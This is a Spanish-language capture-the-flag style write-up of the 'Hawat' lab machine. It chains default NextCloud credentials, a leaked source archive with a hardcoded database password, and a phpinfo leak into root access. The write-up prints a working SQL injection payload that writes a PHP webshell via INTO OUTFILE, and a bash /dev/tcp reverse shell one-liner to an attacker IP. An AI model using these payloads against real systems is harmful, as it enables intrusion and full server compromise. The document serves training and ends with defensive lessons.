the_open_door
café
ESEN

Hawat

Proving Grounds PracticeFácilLinux192.168.188.147

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#nextcloud#default-credentials#source-code-disclosure#sqli#union-based#into-outfile#php-webshell#rce#phpinfo#mysql#oscp
TL;DR. Hawat expone tres webs. En el NextCloud del 50080 entramos con admin:admin (credenciales débiles) y descargamos el código fuente del Issue Tracker (issuetracker.zip); en él aparece una SQLi en /issue/checkByPriority y la contraseña de MySQL (ManagementInsideOld797), que conecta como root de base de datos. El phpinfo del 30455 revela el document root (/srv/http). Con la SQLi del Issue Tracker (17445) y un UNION + INTO OUTFILE escribimos una webshell en /srv/http/cmd.php (SQLi a escritura de ficheros); como el servidor PHP corre como root, la webshell ejecuta comandos como root y una reverse shell cierra la caja.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.188.147
64 bytes from 192.168.188.147: icmp_seq=1 ttl=61 time=29.9 ms

Barremos todos los puertos TCP y luego identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.188.147
PORT      STATE SERVICE
22/tcp    open  ssh
17445/tcp open  http
30455/tcp open  http
50080/tcp open  http
nmap -p22,17445,30455,50080 -sCV 192.168.188.147 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0)
17445/tcp open  http    Apache Tomcat (language: en)
|_http-title: Issue Tracker
30455/tcp open  http    nginx 1.18.0
|_http-title: W3.CSS
50080/tcp open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-title: W3.CSS Template

Tres frentes web en puertos altos: un Issue Tracker sobre Tomcat (17445), un nginx (30455) y un Apache con PHP (50080). Tres aplicaciones que probablemente comparten datos o sistema de ficheros: ese suele ser el hilo de estas cajas.

NextCloud - TCP 50080

dirsearch en el 50080 encuentra un /cloud que redirige a un login de NextCloud. Probamos credenciales por defecto y entran con admin:admin (credenciales débiles):

Login de NextCloud en /cloud accesible con admin:admin

Dentro, entre los ficheros del usuario hay un issuetracker.zip (el código fuente de la app del 17445) y un wshell.php:

Ficheros de NextCloud mostrando issuetracker.zip y wshell.php

Descargamos y descomprimimos el ZIP para auditar el código:

unzip issuetracker.zip
grep -ri password .

grep -ri password revela ManagementInsideOld797 en IssueController.java y application.properties

./src/main/java/com/issue/tracker/config/WebSecurityConfig.java:    return new BCryptPasswordEncoder();
./src/main/java/com/issue/tracker/issues/IssueController.java:     connectionProps.put("password", "ManagementInsideOld797");
./src/main/resources/application.properties:spring.datasource.password=ManagementInsideOld797
./src/main/resources/templates/user_form.html:                    <label>Password</label>
./src/main/resources/templates/login.html:                        <label>Password</label>

Buscando contraseñas damos con ManagementInsideOld797 (en IssueController.java y en application.properties); al ver su contexto, aparece tanto la conexión a MySQL como el endpoint vulnerable:

grep -ri ManagementInsideOld797 . -A 10

Codigo fuente del Issue Tracker: endpoint /issue/checkByPriority con la consulta concatenada y la conexion MySQL con la contrasena ManagementInsideOld797

El fragmento clave es el controlador /issue/checkByPriority, que concatena el parámetro priority directamente en la consulta y se conecta a MySQL como root:

@GetMapping("/issue/checkByPriority")
... connectionProps.put("password", "ManagementInsideOld797");
... DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker", ...);
String query = "SELECT message FROM issue WHERE \"+priority+\"";
... stmt.executeQuery(query);

Tenemos dos cosas: una SQLi confirmada por código y que la BD corre como root (con privilegio FILE, necesario para INTO OUTFILE).

phpinfo - TCP 30455

dirsearch en el 30455 encuentra un phpinfo.php. Esa página filtra el DOCUMENT_ROOT del servidor PHP:

dirsearch -u http://192.168.188.147:30455 --exclude-status=403,404

phpinfo en el 30455 mostrando DOCUMENT_ROOT = /srv/http

$_SERVER['DOCUMENT_ROOT']  ->  /srv/http

Ese dato es el que faltaba: si conseguimos escribir un fichero en /srv/http, el servidor PHP lo ejecutará. Es el destino natural del INTO OUTFILE.

Issue Tracker - TCP 17445

La app del 17445 es un Issue Tracker con un listado público de incidencias y botones Register y Sign In:

Issue Tracker en el 17445 con el listado de incidencias y los botones Register y Sign In

No hace falta adivinar credenciales: el módulo de usuarios permite registrarse. Creamos una cuenta (kmn9) y entramos:

Modulo de registro del Issue Tracker creando el usuario kmn9

Y nos autenticamos con esa cuenta:

Login del Issue Tracker como kmn9

Ya autenticados, alcanzamos el endpoint checkByPriority. Con un GET devuelve una Whitelabel Error Page con 405 Method Not Allowed, así que interceptamos la petición con Burp:

/issue/checkByPriority con GET da 405 Method Not Allowed; Burp intercepta la petición

Desde el Repeater de Burp, Change request method la convierte en un POST, que es el verbo que espera el controlador:

Burp Repeater: Change request method para pasar el GET a POST

SQLi a RCE

UNION + INTO OUTFILE: webshell en /srv/http

El parámetro priority no está saneado. La técnica es una SQLi que escribe código PHP en un fichero con INTO OUTFILE y luego lo ejecuta a través del servidor web, un patrón documentado:

Referencia GitHub SQLI+LFI=RCE: SELECT con un system PHP INTO OUTFILE hacia un fichero .php del servidor

Construimos una inyección UNION que, en lugar de devolver datos, escribe un fichero PHP en el document root descubierto (/srv/http), usando el privilegio FILE de la cuenta root de MySQL (SQLi con INTO OUTFILE):

' union select '<?php echo system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -

La enviamos por el parámetro priority, URL-encoded (con urlencoder.org) en la petición autenticada:

urlencoder.org codificando el payload UNION + INTO OUTFILE

%27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20--%20-

Inyeccion UNION con INTO OUTFILE escribiendo cmd.php en /srv/http, codificada en URL

Shell como root

La webshell ejecuta como root

El fichero queda en /srv/http/cmd.php, servido por el PHP del 30455. Lo invocamos y comprobamos quién lo ejecuta:

curl 'http://192.168.188.147:30455/cmd.php?cmd=id'

cmd.php?cmd=id devolviendo uid=0(root): el servidor PHP corre como root

uid=0(root) gid=0(root) groups=0(root)

El servidor PHP corre como root, así que la webshell ya nos da ejecución como root. Lanzamos una reverse shell (URL-encoded) hacia nuestro listener:

Antes de disparar la shell, dejamos un nc a la escucha:

penelope 50080

La reverse shell la codificamos igual en URL antes de pasarla por cmd:

urlencoder.org codificando bash -i &gt;&amp; /dev/tcp/192.168.45.227/50080 0&gt;&amp;1

Encode to URL-encoded format

bash -i >& /dev/tcp/192.168.45.227/50080 0>&1

  Destination character set:   UTF-8
  Destination newline separator: LF (Unix)
  [ ENCODE ]

bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261
# cmd = bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
curl 'http://192.168.188.147:30455/cmd.php?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261'

Reverse shell recibida como root@hawat tras invocar la webshell

(Penelope)> listeners add -p 50080
[+] Listening for reverse shells on 0.0.0.0:50080 ...
[+] Got reverse shell from hawat~192.168.188.147-Linux-x86_64 😎 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/sbin/script!
[root@hawat http]# id
uid=0(root) gid=0(root) groups=0(root)

Leemos la prueba (somos root directamente, sin escalada):

cat proof.txt && whoami && ip a

proof.txt leido como root en hawat, con whoami root e IP 192.168.188.147

a08809bafff16d885f39db1615f7613f

Cadena de ataque

NextCloud (50080)  --  admin:admin
        │  descarga issuetracker.zip (codigo fuente)
        │   -> SQLi en /issue/checkByPriority + MySQL root (ManagementInsideOld797)
        ▼
phpinfo (30455)  --  DOCUMENT_ROOT = /srv/http
        ▼
Issue Tracker (17445)  --  registro -> SQLi autenticada
        │  ' union select '<?php ... ?>' into outfile '/srv/http/cmd.php' -- -
        ▼
webshell /srv/http/cmd.php  --  servida por PHP que corre como root
        │  cmd=id -> uid=0(root)  ->  reverse shell
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • El código fuente filtrado es media máquina. Descargar issuetracker.zip desde NextCloud reveló a la vez el punto de inyección y la contraseña de la base de datos. Nunca conviene guardar el fuente con secretos en un recurso accesible.
  • Concatenar parámetros en SQL es la vulnerabilidad de siempre. WHERE "+priority+" sin consultas preparadas convierte un campo de búsqueda en escritura arbitraria de ficheros.
  • INTO OUTFILE necesita tres cosas alineadas. Conexión como un usuario con privilegio FILE (aquí root de MySQL), una ruta escribible y conocida (la dio phpinfo: /srv/http) y que algo ejecute lo escrito (el servidor PHP). Cualquiera de las tres rota la cadena.
  • Un servidor web corriendo como root convierte un RCE en game over. No hubo escalada porque el PHP ya era root. Ejecutar los servicios con un usuario sin privilegios habría dejado el RCE en www-data y forzado una segunda fase.
Cheatsheet de comandos 9 comandos

Repaso rápido